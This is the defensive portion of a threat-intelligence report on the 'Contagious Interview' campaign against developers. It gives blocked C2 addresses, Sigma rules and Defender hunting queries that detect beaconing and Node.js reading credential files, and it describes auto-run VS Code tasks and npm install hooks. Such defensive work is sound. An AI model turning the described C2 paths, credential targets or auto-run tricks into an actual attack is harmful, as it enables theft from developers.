  • Reimage from a known-good backup or clean OS install once forensic preservation is complete

Network-Level Detection

  • Block and alert on all outbound connections to 185.163.125[.]196 and 87.236.177[.]9, all ports, especially TCP/3000
  • Create IDS/IPS signatures for HTTP GET requests to /api/errorMessage with parameter exceptionId=env991228
  • Alert on outbound HTTP (plaintext) connections from node processes to non-standard high ports
  • Monitor for outbound POST requests to *.vercel.app/api from Node.js processes carrying x-app-request: ip-check
  • Flag DNS lookups for vscode-settings-tasks-227[.]vercel[.]app and ip-checking-notification-firebase-2[.]vercel[.]app from developer workstations
  • Alert on externally reported next-stage path patterns: /api/handleErrors, /api/hsocketNext, /api/hsocketResult, /upload, /uploadsecond, /uploadend from Node.js processes

Sigma rules:

title: Contagious Interview Stage 2 Registrar C2 Beacon - env991228
status: experimental
logsource:
  category: network_connection
detection:
  selection:
    DestinationIp|contains:
      - '185.163.125[.]196'
      - '87.236.177[.]9'
      - '147.124.202[.]208'
    DestinationPort: 3000
  condition: selection
falsepositives:
  - None expected
level: critical
title: Contagious Interview Credential Gate Exfiltration - x-app-request ip-check
status: experimental
logsource:
  category: network_connection
detection:
  selection:
    DestinationHostname|contains: 'vercel.app'
    http.request.headers|contains: 'x-app-request: ip-check'
  condition: selection
falsepositives:
  - None expected
level: high

Microsoft Defender XDR hunting queries (via Microsoft Security Blog, 2026-02-24):

// Node.js fetching remote JavaScript from staging domains
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node","node.exe")
| where RemoteUrl has_any ("vercel.app", "api-web3-auth", "oracle-v1-beta")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, RemoteUrl

// Repeated short-interval beaconing to C2 paths
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node","node.exe")
| where RemoteUrl has_any ("/api/errorMessage", "/api/handleErrors")
| summarize BeaconCount=count(), FirstSeen=min(Timestamp), LastSeen=max(Timestamp)
          by DeviceName, InitiatingProcessCommandLine, RemoteUrl
| where BeaconCount > 10

// Externally reported next-stage directory enumeration and staged upload
DeviceNetworkEvents
| where RemoteUrl has_any ("/hsocketNext", "/hsocketResult",
                           "/upload", "/uploadsecond", "/uploadend")
| project Timestamp, DeviceName, RemoteUrl, InitiatingProcessCommandLine

// Suspicious Node.js access to credential files
DeviceFileEvents
| where Timestamp > ago(14d)
| where FileName has_any (".env", ".env.local", "Cookies", "Login Data")
| where InitiatingProcessFileName in~ ("node","node.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
          InitiatingProcessCommandLine

Host-Level Hardening

  • Set task.allowAutomaticTasks to off or prompt in VS Code user settings - this is the single highest-impact change for preventing runOn: folderOpen tasks from executing silently
  • Review .vscode/tasks.json before opening any repository from an unknown source; look specifically for runOn: folderOpen and any shell commands referencing remote URLs or pipe-to-shell patterns
  • Audit prepare, postinstall, and preinstall scripts in package.json before running npm install in unfamiliar projects
  • When evaluating repositories from unknown parties - including interview assessments - run them in an isolated VM or container with no access to host credentials, no mounted .env files containing real secrets, and filtered network egress
  • Ensure .env.local files on developer workstations do not contain credentials that would cause material harm if exfiltrated; use secrets managers or environment injection at runtime rather than file-based credential storage where possible

TLP:CLEAR - This report may be freely shared. Attribution assessments are tentative and based on TTP similarity only. All IOCs are provided for defensive purposes.

Report ID: TP-2026-004 | Published: 2026-03-02 | Author: ThreatProphet